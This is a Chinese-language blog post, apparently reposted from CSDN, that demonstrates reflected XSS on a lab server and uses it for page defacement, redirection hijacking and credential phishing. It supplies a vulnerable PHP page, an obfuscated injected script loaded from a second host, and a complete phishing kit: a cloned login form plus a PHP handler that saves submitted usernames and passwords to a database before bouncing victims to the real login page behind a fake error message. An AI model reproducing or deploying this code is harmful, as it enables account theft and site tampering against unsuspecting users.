基于XSS的网页篡改,网页劫持,网页钓鱼

基于XSS的网页篡改,网页劫持,网页钓鱼

192.168.80.174服务器上存在漏洞页面xss.php
192.168.80.160服务器上有调用的js
xss.php:

<?php 
$op = empty($_GET['op']) ? 'Not entered' : $_GET['op'];
echo $op;
?>

浏览器地址栏构建简单的反射型xss判断是否存在xss

http://192.168.80.174/xss.php?op=<script>alert(123)</script>

效果可以利用,开始实验。

网页篡改

tamper.js:

var  ss = '<div id="tamper" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr'+'ame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14'+'00" height="100%" src="\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x62\x61\x69\x64\x75\x2e\x63\x6f\x6d\x2f"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");

浏览器地址栏构建:

192.168.80.174/xss.php?op=<script src="http://192.168.80.160/js/Tamper.js"> </script>

效果浏览器地址栏url不变,页面变为百度首页。

网页劫持

hijacking2-1.js:

setTimeout(window.location.href="https://baidu.com",500)

浏览器地址栏构建:

192.168.80.174/xss.php?op=<script src="http://192.168.80.160/js/hijacking2-1.js"> </script>

效果

网页钓鱼

延申:xss窃取用户cookie
构建钓鱼页面,最简单的就是把目标登录页面爬下来,修改表单action值为恶意数据操作页面。
这里我的思路是数据分流,让用户输入的登录信息流向两个地方,一个是恶意数据操作页面,一个是真正的登录页面实现正规登录操作,没成功就换了个思路,先流向恶意数据操作页面然后再跳转到正确的登录页面。
钓鱼logon.php登录口代码:

<form action="jxpt.php" method="post" name="login" id="login" onsubmit="return checkLogin();">
        <input type="hidden" name="logintoken" value="1560955867137"/>
        <div class="login-content">
            <div class="label_user">
                <div class="dl"></div>
                <input type="text" name="IPT_LOGINUSERNAME" id="userName" tabindex="1" placeholder="请输入用户名" class="user"/>
            </div>
            <div class="label_pw">
                <div class="ps"></div>
                <input type="password" name="IPT_LOGINPASSWORD" id="passWord" tabindex="2" placeholder="请输入密码" class="password"></div>
        </div>
        <div class="login-button" >
                <input type="submit" class="submit" value="登 录"/>
        </div>
        <div class="loginStaus">
        <div class="forgetPassword">
        <div class="prompt">
            <div class="forget"><a href="./lifelong/user/find_passwd_index.jsp" target="_blank">忘记密码?</a></div>
        </div>
        </div>
        </div>
</form>

前端js:

<script language="JavaScript" type="text/JavaScript">
    function checkLogin(){
        var name=document.getElementById("userName");
        var pass=document.getElementById("passWord");
        var formobj=document.getElementById("form1");
        if(name.value == ""){
            name.focus();
            alert("用户名不能为空!");
            return false;
        }else if(pass.value == ""){
            pass.focus();
            alert("密码不能为空!");
            return false;
        }else{
            return true;
        }
    }
</script>

jxpt.php

<html><head><title>Error</title></head><body><head><title>Directory Listing Denied</title></head>
<?php
$mysqli=new MySQLi("localhost","root","QLKD#x12a/!","fish");
$mysqli->query("SET NAMES utf8");
$sql = "insert into fish(userID,passwd) values('".$_POST['IPT_LOGINUSERNAME']."','".$_POST['IPT_LOGINPASSWORD']."')";
if (mysqli_query($mysqli, $sql)) {
} else {
	echo "500";
} 
?>
<body><h1>Server internal error</h1>please check your network and log back in after 3 seconds
<meta http-equiv="refresh" content="3;url=http://xxx/meol/loginCheck.do"/> //这里的url自行更改
</body></body></html>

利用前面的网页篡改,把钓鱼网页加载出来,这里我直接访问它
效果
填好信息点击登录,jxpt.php存储数据并跳转页面到正确的登录页面:
效果效果用户登录信息被记录:
用户信息被记录
如果嫌在jxpt.php页面停留太长可以把content中的3改为0

<meta http-equiv="refresh" content="0;url=http://xxx/meol/loginCheck.do"/>

隐藏公网ip和url,杜绝恶意攻击。
分享我所学。

发布了13 篇原创文章 · 获赞 8 · 访问量 1018

猜你喜欢

转载自blog.csdn.net/qq_40334963/article/details/102894528
今日推荐